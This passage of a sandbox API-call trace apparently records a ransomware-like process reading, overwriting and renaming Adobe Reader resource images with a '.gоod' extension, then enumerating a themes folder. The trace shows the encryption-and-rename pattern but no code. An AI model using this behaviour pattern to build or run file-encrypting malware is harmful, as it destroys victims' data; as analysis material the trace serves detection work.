lpOverlapped=0x0 | out: lpBuffer=0x3502200*, lpNumberOfBytesWritten=0x203ec678*=0x10, lpOverlapped=0x0) returned 1 [0180.715] CloseHandle (hObject=0x828) returned 1 [0180.716] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png", lpFilePart=0x0) returned 0x7f [0180.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0180.716] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0180.716] GetFileType (hFile=0x828) returned 0x1 [0180.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0180.716] GetFileType (hFile=0x828) returned 0x1 [0180.716] ReadFile (in: hFile=0x828, lpBuffer=0x3504530, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec708, lpOverlapped=0x0 | out: lpBuffer=0x3504530*, lpNumberOfBytesRead=0x203ec708*=0x1000, lpOverlapped=0x0) returned 1 [0180.759] CloseHandle (hObject=0x828) returned 1 [0180.759] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png", lpFilePart=0x0) returned 0x7f [0180.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0180.759] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0180.759] GetFileType (hFile=0x828) returned 0x1 [0180.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0180.759] GetFileType (hFile=0x828) returned 0x1 [0180.759] WriteFile (in: hFile=0x828, lpBuffer=0x3503218*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203ec7b8, lpOverlapped=0x0 | out: lpBuffer=0x3503218*, lpNumberOfBytesWritten=0x203ec7b8*=0x1010, lpOverlapped=0x0) returned 1 [0180.759] CloseHandle (hObject=0x828) returned 1 [0180.759] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png", lpFilePart=0x0) returned 0x7f [0180.759] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png.gоod", lpFilePart=0x0) returned 0x84 [0180.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0180.760] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x67f39eb6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20cc)) returned 1 [0180.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0180.760] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png.gоod")) returned 1 [0180.761] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png", lpFilePart=0x0) returned 0x86 [0180.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0180.761] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x35923d8 | out: lpFileInformation=0x35923d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c)) returned 1 [0180.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0180.761] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png", lpFilePart=0x0) returned 0x86 [0180.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0180.762] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0180.762] GetFileType (hFile=0x828) returned 0x1 [0180.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0180.762] GetFileType (hFile=0x828) returned 0x1 [0180.762] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x1000 [0180.762] ReadFile (in: hFile=0x828, lpBuffer=0x3592910, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec758, lpOverlapped=0x0 | out: lpBuffer=0x3592910*, lpNumberOfBytesRead=0x203ec758*=0x1000, lpOverlapped=0x0) returned 1 [0181.035] CloseHandle (hObject=0x828) returned 1 [0181.036] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png", lpFilePart=0x0) returned 0x86 [0181.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0181.036] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0181.036] GetFileType (hFile=0x828) returned 0x1 [0181.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0181.036] GetFileType (hFile=0x828) returned 0x1 [0181.036] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x456c [0181.036] WriteFile (in: hFile=0x828, lpBuffer=0x3568a60*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203ec678, lpOverlapped=0x0 | out: lpBuffer=0x3568a60*, lpNumberOfBytesWritten=0x203ec678*=0x10, lpOverlapped=0x0) returned 1 [0181.038] CloseHandle (hObject=0x828) returned 1 [0181.038] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png", lpFilePart=0x0) returned 0x86 [0181.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0181.038] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0181.038] GetFileType (hFile=0x828) returned 0x1 [0181.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0181.039] GetFileType (hFile=0x828) returned 0x1 [0181.039] ReadFile (in: hFile=0x828, lpBuffer=0x356adb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec708, lpOverlapped=0x0 | out: lpBuffer=0x356adb0*, lpNumberOfBytesRead=0x203ec708*=0x1000, lpOverlapped=0x0) returned 1 [0182.317] CloseHandle (hObject=0x828) returned 1 [0182.317] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png", lpFilePart=0x0) returned 0x86 [0182.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0182.317] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0182.318] GetFileType (hFile=0x828) returned 0x1 [0182.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0182.318] GetFileType (hFile=0x828) returned 0x1 [0182.318] WriteFile (in: hFile=0x828, lpBuffer=0x348e270*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203ec7b8, lpOverlapped=0x0 | out: lpBuffer=0x348e270*, lpNumberOfBytesWritten=0x203ec7b8*=0x1010, lpOverlapped=0x0) returned 1 [0182.360] CloseHandle (hObject=0x828) returned 1 [0182.497] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png", lpFilePart=0x0) returned 0x86 [0182.497] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png.gоod", lpFilePart=0x0) returned 0x8b [0182.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0182.497] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x68e930d1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x457c)) returned 1 [0182.498] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0182.498] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\new_icons_retina.png.gоod")) returned 1 [0182.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebf50) returned 1 [0182.499] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes", nBufferLength=0x105, lpBuffer=0x203eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes", lpFilePart=0x0) returned 0x78 [0182.499] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\*", lpFindFileData=0x203ebc70 | out: lpFindFileData=0x203ebc70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0182.500] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.500] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0182.500] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0182.500] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0182.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe90) returned 1 [0182.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe50) returned 1 [0182.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebf50) returned 1 [0182.500] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes", nBufferLength=0x105, lpBuffer=0x203eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes", lpFilePart=0x0) returned 0x78 [0182.500] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\*", lpFindFileData=0x203ebc70 | out: lpFindFileData=0x203ebc70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0182.501] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.501] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0182.501] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203ebc30 | out: lpFindFileData=0x203ebc30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0182.501] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0182.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe90) returned 1 [0182.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe50) returned 1 [0182.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0182.501] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark", lpFilePart=0x0) returned 0x7d [0182.501] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\themes\\dark\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0182.506] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.506] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_patterns_header.png", cAlternateFileName="BG_PAT~2.PNG")) returned 1 [0182.506] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_pattern_RHP.png", cAlternateFileName="BG_PAT~1.PNG")) returned 1 [0182.506] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons.png", cAlternateFileName="")) returned 1 [0182.506] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_ie8.gif", cAlternateFileName="ICONS_~1.GIF")) returned 1 [0182.506] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_retina.png", cAlternateFileName="ICONS_~1.PNG")) returned 1 [0182.506] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: 